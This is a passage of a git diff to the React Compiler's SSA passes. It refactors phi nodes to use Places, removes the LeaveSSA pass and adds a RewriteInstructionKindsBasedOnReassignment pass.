         let same: Identifier | null = null;
         for (const [_, operand] of phi.operands) {
           if (
-            (same !== null && operand.id === same.id) ||
-            operand.id === phi.id.id
+            (same !== null && operand.identifier.id === same.id) ||
+            operand.identifier.id === phi.place.identifier.id
           ) {
             /*
              * This operand is the same as the phi or is the same as the
@@ -94,16 +97,14 @@ export function eliminateRedundantPhi(
             continue phis;
           } else {
             // First non-phi operand
-            same = operand;
+            same = operand.identifier;
           }
         }
         CompilerError.invariant(same !== null, {
-          reason: "Expected phis to be non-empty",
-          description: null,
-          loc: null,
-          suggestions: null,
+          reason: 'Expected phis to be non-empty',
+          loc: GeneratedSource,
         });
-        rewrites.set(phi.id, same);
+        rewrites.set(phi.place.identifier, same);
         block.phis.delete(phi);
       }
 
@@ -117,10 +118,10 @@ export function eliminateRedundantPhi(
         }
 
         if (
-          instr.value.kind === "FunctionExpression" ||
-          instr.value.kind === "ObjectMethod"
+          instr.value.kind === 'FunctionExpression' ||
+          instr.value.kind === 'ObjectMethod'
         ) {
-          const { context } = instr.value.loweredFunc.func;
+          const {context} = instr.value.loweredFunc.func;
           for (const place of context) {
             rewritePlace(place, rewrites);
           }
@@ -135,7 +136,7 @@ export function eliminateRedundantPhi(
       }
 
       // Rewrite all terminal operands
-      const { terminal } = block;
+      const {terminal} = block;
       for (const place of eachTerminalOperand(terminal)) {
         rewritePlace(place, rewrites);
       }
@@ -146,11 +147,28 @@ export function eliminateRedundantPhi(
      * have already propagated forwards since we visit in reverse postorder.
      */
   } while (rewrites.size > size && hasBackEdge);
+
+  if (DEBUG) {
+    for (const [, block] of ir.blocks) {
+      for (const phi of block.phis) {
+        CompilerError.invariant(!rewrites.has(phi.place.identifier), {
+          reason: '[EliminateRedundantPhis]: rewrite not complete',
+          loc: phi.place.loc,
+        });
+        for (const [, operand] of phi.operands) {
+          CompilerError.invariant(!rewrites.has(operand.identifier), {
+            reason: '[EliminateRedundantPhis]: rewrite not complete',
+            loc: phi.place.loc,
+          });
+        }
+      }
+    }
+  }
 }
 
 function rewritePlace(
   place: Place,
-  rewrites: Map<Identifier, Identifier>
+  rewrites: Map<Identifier, Identifier>,
 ): void {
   const rewrite = rewrites.get(place.identifier);
   if (rewrite != null) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/SSA/EnterSSA.ts b/compiler/packages/babel-plugin-react-compiler/src/SSA/EnterSSA.ts
index 8f5b78cc770b..b5f586032b0e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/SSA/EnterSSA.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/SSA/EnterSSA.ts
@@ -5,11 +5,12 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "../CompilerError";
-import { Environment } from "../HIR/Environment";
+import {CompilerError} from '../CompilerError';
+import {Environment} from '../HIR/Environment';
 import {
   BasicBlock,
   BlockId,
+  GeneratedSource,
   HIRFunction,
   Identifier,
   IdentifierId,
@@ -17,18 +18,18 @@ import {
   makeType,
   Phi,
   Place,
-} from "../HIR/HIR";
-import { printIdentifier } from "../HIR/PrintHIR";
+} from '../HIR/HIR';
+import {printIdentifier, printPlace} from '../HIR/PrintHIR';
 import {
   eachTerminalSuccessor,
   mapInstructionLValues,
   mapInstructionOperands,
   mapTerminalOperands,
-} from "../HIR/visitors";
+} from '../HIR/visitors';
 
 type IncompletePhi = {
-  oldId: Identifier;
-  newId: Identifier;
+  oldPlace: Place;
+  newPlace: Place;
 };
 
 type State = {
@@ -68,10 +69,8 @@ class SSABuilder {
 
   state(): State {
     CompilerError.invariant(this.#current !== null, {
-      reason: "we need to be in a block to access state!",
-      description: null,
-      loc: null,
-      suggestions: null,
+      reason: 'we need to be in a block to access state!',
+      loc: GeneratedSource,
     });
     return this.#states.get(this.#current)!;
   }
@@ -79,6 +78,7 @@ class SSABuilder {
   makeId(oldId: Identifier): Identifier {
     return {
       id: this.nextSsaId,
+      declarationId: oldId.declarationId,
       name: oldId.name,
       mutableRange: {
         start: makeInstructionId(0),
@@ -121,33 +121,33 @@ class SSABuilder {
   }
 
   getPlace(oldPlace: Place): Place {
-    const newId = this.getIdAt(oldPlace.identifier, this.#current!.id);
+    const newId = this.getIdAt(oldPlace, this.#current!.id);
     return {
       ...oldPlace,
       identifier: newId,
     };
   }
 
-  getIdAt(oldId: Identifier, blockId: BlockId): Identifier {
+  getIdAt(oldPlace: Place, blockId: BlockId): Identifier {
     // check if Place is defined locally
     const block = this.#blocks.get(blockId)!;
     const state = this.#states.get(block)!;
 
-    if (state.defs.has(oldId)) {
-      return state.defs.get(oldId)!;
+    if (state.defs.has(oldPlace.identifier)) {
+      return state.defs.get(oldPlace.identifier)!;
     }
 
     if (block.preds.size == 0) {
       /*
        * We're at the entry block and haven't found our defintion yet.
        * console.log(
-       *   `Unable to find "${printIdentifier(
-       *     oldId
+       *   `Unable to find "${printPlace(
+       *     oldPlace
        *   )}" in bb${blockId}, assuming it's a global`
        * );
        */
-      this.#unknown.add(oldId);
-      return oldId;
+      this.#unknown.add(oldPlace.identifier);
+      return oldPlace.identifier;
     }
 
     if (this.unsealedPreds.get(block)! > 0) {
@@ -155,53 +155,55 @@ class SSABuilder {
        * We haven't visited all our predecessors, let's place an incomplete phi
        * for now.
        */
-      const newId = this.makeId(oldId);
-      state.incompletePhis.push({ oldId, newId });
-      state.defs.set(oldId, newId);
+      const newId = this.makeId(oldPlace.identifier);
+      state.incompletePhis.push({
+        oldPlace,
+        newPlace: {...oldPlace, identifier: newId},
+      });
+      state.defs.set(oldPlace.identifier, newId);
       return newId;
     }
 
     // Only one predecessor, let's check there
     if (block.preds.size == 1) {
       const [pred] = block.preds;
-      const newId = this.getIdAt(oldId, pred);
-      state.defs.set(oldId, newId);
+      const newId = this.getIdAt(oldPlace, pred);
+      state.defs.set(oldPlace.identifier, newId);
       return newId;
     }
 
     // There are multiple predecessors, we may need a phi.
-    const newId = this.makeId(oldId);
+    const newId = this.makeId(oldPlace.identifier);
     /*
      * Adding a phi may loop back to our block if there is a loop in the CFG.  We
      * update our defs before adding the phi to terminate the recursion rather than
      * looping infinitely.
      */
-    state.defs.set(oldId, newId);
-    return this.addPhi(block, oldId, newId);
+    state.defs.set(oldPlace.identifier, newId);
+    return this.addPhi(block, oldPlace, {...oldPlace, identifier: newId});
   }
 
-  addPhi(block: BasicBlock, oldId: Identifier, newId: Identifier): Identifier {
-    const predDefs: Map<BlockId, Identifier> = new Map();
+  addPhi(block: BasicBlock, oldPlace: Place, newPlace: Place): Identifier {
+    const predDefs: Map<BlockId, Place> = new Map();
     for (const predBlockId of block.preds) {
-      const predId = this.getIdAt(oldId, predBlockId);
-      predDefs.set(predBlockId, predId);
+      const predId = this.getIdAt(oldPlace, predBlockId);
+      predDefs.set(predBlockId, {...oldPlace, identifier: predId});
     }
 
     const phi: Phi = {
-      kind: "Phi",
-      id: newId,
+      kind: 'Phi',
+      place: newPlace,
       operands: predDefs,
-      type: makeType(),
     };
 
     block.phis.add(phi);
-    return newId;
+    return newPlace.identifier;
   }
 
   fixIncompletePhis(block: BasicBlock): void {
     const state = this.#states.get(block)!;
     for (const phi of state.incompletePhis) {
-      this.addPhi(block, phi.oldId, phi.newId);
+      this.addPhi(block, phi.oldPlace, phi.newPlace);
     }
   }
 
@@ -223,15 +225,15 @@ class SSABuilder {
 
       for (const incompletePhi of state.incompletePhis) {
         text.push(
-          `  iphi \$${printIdentifier(
-            incompletePhi.newId
-          )} = \$${printIdentifier(incompletePhi.oldId)}`
+          `  iphi \$${printPlace(
+            incompletePhi.newPlace,
+          )} = \$${printPlace(incompletePhi.oldPlace)}`,
         );
       }
     }
 
     text.push(`current block: bb${this.#current?.id}`);
-    console.log(text.join("\n"));
+    console.log(text.join('\n'));
   }
 }
 
@@ -243,15 +245,13 @@ export default function enterSSA(func: HIRFunction): void {
 function enterSSAImpl(
   func: HIRFunction,
   builder: SSABuilder,
-  rootEntry: BlockId
+  rootEntry: BlockId,
 ): void {
   const visitedBlocks: Set<BasicBlock> = new Set();
   for (const [blockId, block] of func.body.blocks) {
     CompilerError.invariant(!visitedBlocks.has(block), {
       reason: `found a cycle! visiting bb${block.id} again`,
-      description: null,
-      loc: null,
-      suggestions: null,
+      loc: GeneratedSource,
     });
 
     visitedBlocks.add(block);
@@ -262,16 +262,14 @@ function enterSSAImpl(
       // NOTE: func.context should be empty for the root function
       CompilerError.invariant(func.context.length === 0, {
         reason: `Expected function context to be empty for outer function declarations`,
-        description: null,
         loc: func.loc,
-        suggestions: null,
       });
-      func.params = func.params.map((param) => {
-        if (param.kind === "Identifier") {
+      func.params = func.params.map(param => {
+        if (param.kind === 'Identifier') {
           return builder.definePlace(param);
         } else {
           return {
-            kind: "Spread",
+            kind: 'Spread',
             place: builder.definePlace(param.place),
           };
         }
@@ -279,34 +277,29 @@ function enterSSAImpl(
     }
 
     for (const instr of block.instructions) {
-      mapInstructionOperands(instr, (place) => builder.getPlace(place));
-      mapInstructionLValues(instr, (lvalue) => builder.definePlace(lvalue));
+      mapInstructionOperands(instr, place => builder.getPlace(place));
+      mapInstructionLValues(instr, lvalue => builder.definePlace(lvalue));
 
       if (
-        instr.value.kind === "FunctionExpression" ||
-        instr.value.kind === "ObjectMethod"
+        instr.value.kind === 'FunctionExpression' ||
+        instr.value.kind === 'ObjectMethod'
       ) {
         const loweredFunc = instr.value.loweredFunc.func;
         const entry = loweredFunc.body.blocks.get(loweredFunc.body.entry)!;
         CompilerError.invariant(entry.preds.size === 0, {
           reason:
-            "Expected function expression entry block to have zero predecessors",
-          description: null,
-          loc: null,
-          suggestions: null,
+            'Expected function expression entry block to have zero predecessors',
+          loc: GeneratedSource,
         });
         entry.preds.add(blockId);
         builder.defineFunction(loweredFunc);
         builder.enter(() => {
-          loweredFunc.context = loweredFunc.context.map((p) =>
-            builder.getPlace(p)
-          );
-          loweredFunc.params = loweredFunc.params.map((param) => {
-            if (param.kind === "Identifier") {
+          loweredFunc.params = loweredFunc.params.map(param => {
+            if (param.kind === 'Identifier') {
               return builder.definePlace(param);
             } else {
               return {
-                kind: "Spread",
+                kind: 'Spread',
                 place: builder.definePlace(param.place),
               };
             }
@@ -317,7 +310,7 @@ function enterSSAImpl(
       }
     }
 
-    mapTerminalOperands(block.terminal, (place) => builder.getPlace(place));
+    mapTerminalOperands(block.terminal, place => builder.getPlace(place));
     for (const outputId of eachTerminalSuccessor(block.terminal)) {
       const output = func.body.blocks.get(outputId)!;
       let count;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/SSA/LeaveSSA.ts b/compiler/packages/babel-plugin-react-compiler/src/SSA/LeaveSSA.ts
deleted file mode 100644
index c90b2931aa71..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/SSA/LeaveSSA.ts
+++ /dev/null
@@ -1,515 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import { CompilerError } from "../CompilerError";
-import {
-  BasicBlock,
-  BlockId,
-  HIRFunction,
-  Identifier,
-  InstructionKind,
-  LValue,
-  LValuePattern,
-  Phi,
-  Place,
-} from "../HIR/HIR";
-import { printIdentifier, printPlace } from "../HIR/PrintHIR";
-import {
-  eachInstructionLValue,
-  eachInstructionValueOperand,
-  eachPatternOperand,
-  eachTerminalOperand,
-  eachTerminalSuccessor,
-  terminalFallthrough,
-} from "../HIR/visitors";
-
-/*
- * Removes SSA form by converting all phis into explicit bindings and assignments. There are two main categories
- * of phis:
- *
- * ## Reassignments (operands are independently memoizable)
- *
- * These are phis that occur after some high-level control flow such as an if, switch, or loop. These phis are rewritten
- * to add a new `let` binding for the phi id prior to the control flow node (ie prior to the if/switch),
- * and to add a reassignment to that let binding in each of the phi's predecessors.
- *
- * Example:
- *
- * ```javascript
- * // Input
- * let x1 = null;
- * if (a) {
- *    x2 = b;
- * } else {
- *    x3 = c;
- * }
- * x4 = phi(x2, x3);
- * return x4;
- *
- * // Output
- * const x1 = null;
- * let x4; // synthesized binding for the phi identifier
- * if (a) {
- *    x2 = b;
- *    x4 = x2;; // sythesized assignment to the phi identifier
- * } else {
- *    x3 = c;
- *    x4 = x3; // synthesized assignment
- * }
- * // phi removed
- * return x4;
- * ```
- *
- * ## Rewrites (operands are not independently memoizable)
- *
- * Phis that occur inside loop constructs cannot use the reassignment strategy, because there isn't an appropriate place
- * to add the new let binding. Instead, we select a single "canonical" id for these phis which is the operand that is
- * defined first. Then, all assignments and references for any of the phi ir and operands are rewritten to reference
- * the canonical id instead.
- *
- * Example:
- *
- * ```javascript
- * // Input
- * for (
- *   let i1 = 0;
- *   { i2 = phi(i1, i2); i2 < 10 }; // note the phi in the test block
- *   i2 += 1
- * ) { ... }
- *
- * // Output
- * for (
- *    let i1 = 0; // i1 is defined first, so it becomes the canonical id
- *    i1 < 10; // rewritten to canonical id
- *    i1 += 1 // rewritten to canonical id
- * )
- * ```
- */
-export function leaveSSA(fn: HIRFunction): void {
-  // Maps identifier names to their original declaration.
-  const declarations: Map<
-    string,
-    { lvalue: LValue | LValuePattern; place: Place }
-  > = new Map();
-
-  for (const param of fn.params) {
-    let place: Place = param.kind === "Identifier" ? param : param.place;
-    if (place.identifier.name !== null) {
-      declarations.set(place.identifier.name.value, {
-        lvalue: {
-          kind: InstructionKind.Let,
-          place,
-        },
-        place,
-      });
-    }
-  }
-
-  /*
-   * For non-memoizable phis, this maps original identifiers to the identifier they should be
-   * *rewritten* to. The keys are the original identifiers, and the value will be _either_ the
-   * phi id or, more typically, the operand that was defined prior to the phi.
-   */
-  const rewrites: Map<Identifier, Identifier> = new Map();
-
-  type PhiState = {
-    phi: Phi;
-    block: BasicBlock;
-  };
-
-  const seen = new Set<BlockId>();
-  const backEdgePhis = new Set<Phi>();
-  for (const [, block] of fn.body.blocks) {
-    for (const phi of block.phis) {
-      for (const [pred] of phi.operands) {
-        if (!seen.has(pred)) {
-          backEdgePhis.add(phi);
-          break;
-        }
-      }
-    }
-    seen.add(block.id);
-  }
-
-  for (const [, block] of fn.body.blocks) {
-    for (const instr of block.instructions) {
-      /*
-       * Iterate the instructions and perform any rewrites as well as promoting SSA variables to
-       * `let` or `reassign` where possible.
-       */
-      const { lvalue, value } = instr;
-      if (value.kind === "DeclareLocal") {
-        const name = value.lvalue.place.identifier.name;
-        if (name !== null) {
-          CompilerError.invariant(!declarations.has(name.value), {
-            reason: `Unexpected duplicate declaration`,
-            description: `Found duplicate declaration for \`${name.value}\``,
-            loc: value.lvalue.place.loc,
-            suggestions: null,
-          });
-          declarations.set(name.value, {
-            lvalue: value.lvalue,
-            place: value.lvalue.place,
-          });
-        }
-      } else if (
-        value.kind === "PrefixUpdate" ||
-        value.kind === "PostfixUpdate"
-      ) {
-        CompilerError.invariant(value.lvalue.identifier.name !== null, {
-          reason: `Expected update expression to be applied to a named variable`,
-          description: null,
-          loc: value.lvalue.loc,
-          suggestions: null,
-        });
-        const originalLVal = declarations.get(
-          value.lvalue.identifier.name.value
-        );
-        CompilerError.invariant(originalLVal !== undefined, {
-          reason: `Expected update expression to be applied to a previously defined variable`,
-          description: null,
-          loc: value.lvalue.loc,
-          suggestions: null,
-        });
-        originalLVal.lvalue.kind = InstructionKind.Let;
-      } else if (value.kind === "StoreLocal") {
-        if (value.lvalue.place.identifier.name != null) {
-          const originalLVal = declarations.get(
-            value.lvalue.place.identifier.name.value
-          );
-          if (
-            originalLVal === undefined ||
-            originalLVal.lvalue === value.lvalue // in case this was pre-declared for the `for` initializer
-          ) {
-            CompilerError.invariant(
-              originalLVal !== undefined ||
-                block.kind === "block" ||
-                block.kind === "catch",
-              {
-                reason: `TODO: Handle reassignment in a value block where the original declaration was removed by dead code elimination (DCE)`,
-                description: null,
-                loc: value.lvalue.place.loc,
-                suggestions: null,
-              }
-            );
-            declarations.set(value.lvalue.place.identifier.name.value, {
-              lvalue: value.lvalue,
-              place: value.lvalue.place,
-            });
-            value.lvalue.kind = InstructionKind.Const;
-          } else {
-            /*
-             * This is an instance of the original id, so we need to promote the original declaration
-             * to a `let` and the current lval to a `reassign`
-             */
-            originalLVal.lvalue.kind = InstructionKind.Let;
-            value.lvalue.kind = InstructionKind.Reassign;
-          }
-        } else if (rewrites.has(value.lvalue.place.identifier)) {
-          value.lvalue.kind = InstructionKind.Const;
-        }
-      } else if (value.kind === "Destructure") {
-        let kind: InstructionKind | null = null;
-        for (const place of eachPatternOperand(value.lvalue.pattern)) {
-          if (place.identifier.name == null) {
-            CompilerError.invariant(
-              kind === null || kind === InstructionKind.Const,
-              {
-                reason: `Expected consistent kind for destructuring`,
-                description: `other places were \`${kind}\` but '${printPlace(
-                  place
-                )}' is const`,
-                loc: place.loc,
-                suggestions: null,
-              }
-            );
-            kind = InstructionKind.Const;
-          } else {
-            const originalLVal = declarations.get(place.identifier.name.value);
-            if (
-              originalLVal === undefined ||
-              originalLVal.lvalue === value.lvalue
-            ) {
-              CompilerError.invariant(
-                originalLVal !== undefined || block.kind !== "value",
-                {
-                  reason: `TODO: Handle reassignment in a value block where the original declaration was removed by dead code elimination (DCE)`,
-                  description: null,
-                  loc: place.loc,
-                  suggestions: null,
-                }
-              );
-              declarations.set(place.identifier.name.value, {
-                lvalue: value.lvalue,
-                place,
-              });
-              CompilerError.invariant(
-                kind === null || kind === InstructionKind.Const,
-                {
-                  reason: `Expected consistent kind for destructuring`,
-                  description: `Other places were \`${kind}\` but '${printPlace(
-                    place
-                  )}' is const`,
-                  loc: place.loc,
-                  suggestions: null,
-                }
-              );
-              kind = InstructionKind.Const;
-            } else {
-              CompilerError.invariant(
-                kind === null || kind === InstructionKind.Reassign,
-                {
-                  reason: `Expected consistent kind for destructuring`,
-                  description: `Other places were \`${kind}\` but '${printPlace(
-                    place
-                  )}' is reassigned`,
-                  loc: place.loc,
-                  suggestions: null,
-                }
-              );
-              kind = InstructionKind.Reassign;
-              originalLVal.lvalue.kind = InstructionKind.Let;
-            }
-          }
-        }
-        CompilerError.invariant(kind !== null, {
-          reason: "Expected at least one operand",
-          description: null,
-          loc: null,
-          suggestions: null,
-        });
-        value.lvalue.kind = kind;
-      }
-      rewritePlace(lvalue, rewrites, declarations);
-      for (const operand of eachInstructionLValue(instr)) {
-        rewritePlace(operand, rewrites, declarations);
-      }
-      for (const operand of eachInstructionValueOperand(instr.value)) {
-        rewritePlace(operand, rewrites, declarations);
-      }
-    }
-
-    const terminal = block.terminal;
-    for (const operand of eachTerminalOperand(terminal)) {
-      rewritePlace(operand, rewrites, declarations);
-    }
-
-    /*
-     * Find any phi nodes which need a variable declaration in the current block
-     * This includes phis in fallthrough nodes, or blocks that form part of control flow
-     * such as for or while (and later if/switch).
-     */
-    const reassignmentPhis: Array<PhiState> = [];
-    const rewritePhis: Array<PhiState> = [];
-    function pushPhis(phiBlock: BasicBlock): void {
-      for (const phi of phiBlock.phis) {
-        if (phi.id.name === null) {
-          rewritePhis.push({ phi, block: phiBlock });
-        } else {
-          reassignmentPhis.push({ phi, block: phiBlock });
-        }
-      }
-    }
-    const fallthroughId = terminalFallthrough(terminal);
-    if (fallthroughId !== null) {
-      const fallthrough = fn.body.blocks.get(fallthroughId)!;
-      pushPhis(fallthrough);
-    }
-    if (terminal.kind === "while" || terminal.kind === "for") {
-      const test = fn.body.blocks.get(terminal.test)!;
-      pushPhis(test);
-
-      const loop = fn.body.blocks.get(terminal.loop)!;
-      pushPhis(loop);
-    }
-    if (
-      terminal.kind === "for" ||
-      terminal.kind === "for-of" ||
-      terminal.kind === "for-in"
-    ) {
-      let init = fn.body.blocks.get(terminal.init)!;
-      pushPhis(init);
-
-      // The first block after the end of the init
-      let initContinuation =
-        terminal.kind === "for" ? terminal.test : terminal.loop;
-      /*
-       * To avoid generating a let binding for the initializer prior to the loop,
-       * check to see if the for declares an iterator variable.
-       */
-      const queue: Array<BlockId> = [init.id];
-      while (queue.length !== 0) {
-        const blockId = queue.shift()!;
-        if (blockId === initContinuation) {
-          break;
-        }
-        const block = fn.body.blocks.get(blockId)!;
-        for (const instr of block.instructions) {
-          if (
-            instr.value.kind === "StoreLocal" &&
-            instr.value.lvalue.kind !== InstructionKind.Reassign
-          ) {
-            const value = instr.value;
-            if (value.lvalue.place.identifier.name !== null) {
-              const originalLVal = declarations.get(
-                value.lvalue.place.identifier.name.value
-              );
-              if (originalLVal === undefined) {
-                declarations.set(value.lvalue.place.identifier.name.value, {
-                  lvalue: value.lvalue,
-                  place: value.lvalue.place,
-                });
-                value.lvalue.kind = InstructionKind.Const;
-              }
-            }
-          }
-        }
-
-        switch (block.terminal.kind) {
-          case "maybe-throw": {
-            queue.push(block.terminal.continuation);
-            break;
-          }
-          case "goto": {
-            queue.push(block.terminal.block);
-            break;
-          }
-          case "branch":
-          case "logical":
-          case "optional":
-          case "ternary":
-          case "label": {
-            for (const successor of eachTerminalSuccessor(block.terminal)) {
-              queue.push(successor);
-            }
-            break;
-          }
-          default: {
-            break;
-          }
-        }
-      }
-
-      if (terminal.kind === "for" && terminal.update !== null) {
-        const update = fn.body.blocks.get(terminal.update)!;
-        pushPhis(update);
-      }
-    }
-
-    for (const { phi, block: phiBlock } of reassignmentPhis) {
-      /*
-       * In some cases one of the phi operands can be defined *before* the let binding
-       * we will generate. For example, a variable that is only rebound in one branch of
-       * an if but not another. In this case we populate the let binding with this initial
-       * value rather than generate an extra assignment.
-       */
-      let initOperand: Identifier | null = null;
-      for (const [, operand] of phi.operands) {
-        if (operand.mutableRange.start < terminal.id) {
-          if (initOperand == null) {
-            initOperand = operand;
-          }
-        }
-      }
-
-      /*
-       * If the phi is mutated after its creation, then any values which flow into the phi
-       * must also have their ranges extended accordingly.
-       */
-      const isPhiMutatedAfterCreation: boolean =
-        phi.id.mutableRange.end >
-        (phiBlock.instructions.at(0)?.id ?? phiBlock.terminal.id);
-
-      /*
-       * If we never saw a declaration for this phi, it may have been pruned by DCE, so synthesize
-       * a new Let binding
-       */
-      CompilerError.invariant(phi.id.name != null, {
-        reason: "Expected reassignment phis to have a name",
-        description: null,
-        loc: null,
-        suggestions: null,
-      });
-      const declaration = declarations.get(phi.id.name.value);
-      CompilerError.invariant(declaration != null, {
-        loc: null,
-        reason: "Expected a declaration for all variables",
-        description: `${printIdentifier(phi.id)} in block bb${phiBlock.id}`,
-        suggestions: null,
-      });
-      if (isPhiMutatedAfterCreation) {
-        /*
-         * The declaration is not guaranteed to flow into the phi, for example in the case of a variable
-         * that is reassigned in all control flow paths to a given phi. The original declaration's range
-         * has to be extended in this case (if the phi is later mutated) since we are reusing the original
-         * declaration instead of creating a new declaration.
-         *
-         * NOTE: this can *only* happen if the original declaration involves an instruction that DCE does
-         * not prune. Otherwise, the declaration would have been pruned and we'd synthesize a new one.
-         */
-        declaration.place.identifier.mutableRange.end = phi.id.mutableRange.end;
-      }
-      rewrites.set(phi.id, declaration.place.identifier);
-    }
-
-    /*
-     * Similar logic for rewrite phis that occur in loops, except that instead of a new let binding
-     * we pick one of the operands as the canonical id, and rewrite all references to the other
-     * operands and the phi to reference this canonical id.
-     */
-    for (const { phi } of rewritePhis) {
-      let canonicalId = rewrites.get(phi.id);
-      if (canonicalId === undefined) {
-        canonicalId = phi.id;
-        for (const [, operand] of phi.operands) {
-          let canonicalOperand = rewrites.get(operand) ?? operand;
-          if (canonicalOperand.id < canonicalId.id) {
-            canonicalId = canonicalOperand;
-          }
-        }
-        rewrites.set(phi.id, canonicalId);
-
-        if (canonicalId.name !== null) {
-          const declaration = declarations.get(canonicalId.name.value);
-          if (declaration !== undefined) {
-            declaration.lvalue.kind = InstructionKind.Let;
-          }
-        }
-      }
-
-      // all versions of the variable need to be remapped to the canonical id
-      for (const [, operand] of phi.operands) {
-        rewrites.set(operand, canonicalId);
-      }
-    }
-  }
-}
-
-/*
- * Rewrite @param place's identifier based on the given rewrite mapping, if the identifier
- * is present. Also expands the mutable range of the target identifier to include the
- * place's range.
- */
-function rewritePlace(
-  place: Place,
-  rewrites: Map<Identifier, Identifier>,
-  declarations: Map<string, { lvalue: LValue | LValuePattern; place: Place }>
-): void {
-  const prevIdentifier = place.identifier;
-  const nextIdentifier = rewrites.get(prevIdentifier);
-
-  if (nextIdentifier !== undefined) {
-    if (nextIdentifier === prevIdentifier) return;
-    place.identifier = nextIdentifier;
-  } else if (prevIdentifier.name != null) {
-    const declaration = declarations.get(prevIdentifier.name.value);
-    // Only rewrite identifiers that were declared within the function
-    if (declaration === undefined) return;
-    const originalIdentifier = declaration.place.identifier;
-    prevIdentifier.id = originalIdentifier.id;
-  }
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/SSA/RewriteInstructionKindsBasedOnReassignment.ts b/compiler/packages/babel-plugin-react-compiler/src/SSA/RewriteInstructionKindsBasedOnReassignment.ts
new file mode 100644
index 000000000000..5c4fb240b6c7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/SSA/RewriteInstructionKindsBasedOnReassignment.ts
@@ -0,0 +1,168 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {CompilerError} from '../CompilerError';
+import {
+  DeclarationId,
+  GeneratedSource,
+  HIRFunction,
+  InstructionKind,
+  LValue,
+  LValuePattern,
+  Place,
+} from '../HIR/HIR';
+import {printPlace} from '../HIR/PrintHIR';
+import {eachPatternOperand} from '../HIR/visitors';
+
+/**
+ * This pass rewrites the InstructionKind of instructions which declare/assign variables,
+ * converting the first declaration to a Const/Let depending on whether it is subsequently
+ * reassigned, and ensuring that subsequent reassignments are marked as a Reassign. Note
+ * that declarations which were const in the original program cannot become `let`, but the
+ * inverse is not true: a `let` which was reassigned in the source may be converted to a
+ * `const` if the reassignment is not used and was removed by dead code elimination.
+ *
+ * NOTE: this is a subset of the operations previously performed by the LeaveSSA pass.
+ */
+export function rewriteInstructionKindsBasedOnReassignment(
+  fn: HIRFunction,
+): void {
+  const declarations = new Map<DeclarationId, LValue | LValuePattern>();
+  for (const param of fn.params) {
+    let place: Place = param.kind === 'Identifier' ? param : param.place;
+    if (place.identifier.name !== null) {
+      declarations.set(place.identifier.declarationId, {
+        kind: InstructionKind.Let,
+        place,
+      });
+    }
+  }
+  for (const place of fn.context) {
+    if (place.identifier.name !== null) {
+      declarations.set(place.identifier.declarationId, {
+        kind: InstructionKind.Let,
+        place,
+      });
+    }
+  }
+  for (const [, block] of fn.body.blocks) {
+    for (const instr of block.instructions) {
+      const {value} = instr;
+      switch (value.kind) {
+        case 'DeclareLocal': {
+          const lvalue = value.lvalue;
+          CompilerError.invariant(
+            !declarations.has(lvalue.place.identifier.declarationId),
+            {
+              reason: `Expected variable not to be defined prior to declaration`,
+              description: `${printPlace(lvalue.place)} was already defined`,
+              loc: lvalue.place.loc,
+            },
+          );
+          declarations.set(lvalue.place.identifier.declarationId, lvalue);
+          break;
+        }
+        case 'StoreLocal': {
+          const lvalue = value.lvalue;
+          if (lvalue.place.identifier.name !== null) {
+            const declaration = declarations.get(
+              lvalue.place.identifier.declarationId,
+            );
+            if (declaration === undefined) {
+              CompilerError.invariant(
+                !declarations.has(lvalue.place.identifier.declarationId),
+                {
+                  reason: `Expected variable not to be defined prior to declaration`,
+                  description: `${printPlace(lvalue.place)} was already defined`,
+                  loc: lvalue.place.loc,
+                },
+              );
+              declarations.set(lvalue.place.identifier.declarationId, lvalue);
+              lvalue.kind = InstructionKind.Const;
+            } else {
+              declaration.kind = InstructionKind.Let;
+              lvalue.kind = InstructionKind.Reassign;
+            }
+          }
+          break;
+        }
+        case 'Destructure': {
+          const lvalue = value.lvalue;
+          let kind: InstructionKind | null = null;
+          for (const place of eachPatternOperand(lvalue.pattern)) {
+            if (place.identifier.name === null) {
+              CompilerError.invariant(
+                kind === null || kind === InstructionKind.Const,
+                {
+                  reason: `Expected consistent kind for destructuring`,
+                  description: `other places were \`${kind}\` but '${printPlace(
+                    place,
+                  )}' is const`,
+                  loc: place.loc,
+                },
+              );
+              kind = InstructionKind.Const;
+            } else {
+              const declaration = declarations.get(
+                place.identifier.declarationId,
+              );
+              if (declaration === undefined) {
+                CompilerError.invariant(block.kind !== 'value', {
+                  reason: `TODO: Handle reassignment in a value block where the original declaration was removed by dead code elimination (DCE)`,
+                  loc: place.loc,
+                });
+                declarations.set(place.identifier.declarationId, lvalue);
+                CompilerError.invariant(
+                  kind === null || kind === InstructionKind.Const,
+                  {
+                    reason: `Expected consistent kind for destructuring`,
+                    description: `Other places were \`${kind}\` but '${printPlace(
+                      place,
+                    )}' is const`,
+                    loc: place.loc,
+                  },
+                );
+                kind = InstructionKind.Const;
+              } else {
+                CompilerError.invariant(
+                  kind === null || kind === InstructionKind.Reassign,
+                  {
+                    reason: `Expected consistent kind for destructuring`,
+                    description: `Other places were \`${kind}\` but '${printPlace(
+                      place,
+                    )}' is reassigned`,
+                    loc: place.loc,
+                  },
+                );
+                kind = InstructionKind.Reassign;
+                declaration.kind = InstructionKind.Let;
+              }
+            }
+          }
+          CompilerError.invariant(kind !== null, {
+            reason: 'Expected at least one operand',
+            loc: GeneratedSource,
+          });
+          lvalue.kind = kind;
+          break;
+        }
+        case 'PostfixUpdate':
+        case 'PrefixUpdate': {
+          const lvalue = value.lvalue;
+          const declaration = declarations.get(lvalue.identifier.declarationId);
+          CompilerError.invariant(declaration !== undefined, {
+            reason: `Expected variable to have been defined`,
+            description: `No declaration for ${printPlace(lvalue)}`,
+            loc: lvalue.loc,
+          });
+          declaration.kind = InstructionKind.Let;
+          break;
+        }
+      }
+    }
+  }
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/SSA/index.ts b/compiler/packages/babel-plugin-react-compiler/src/SSA/index.ts
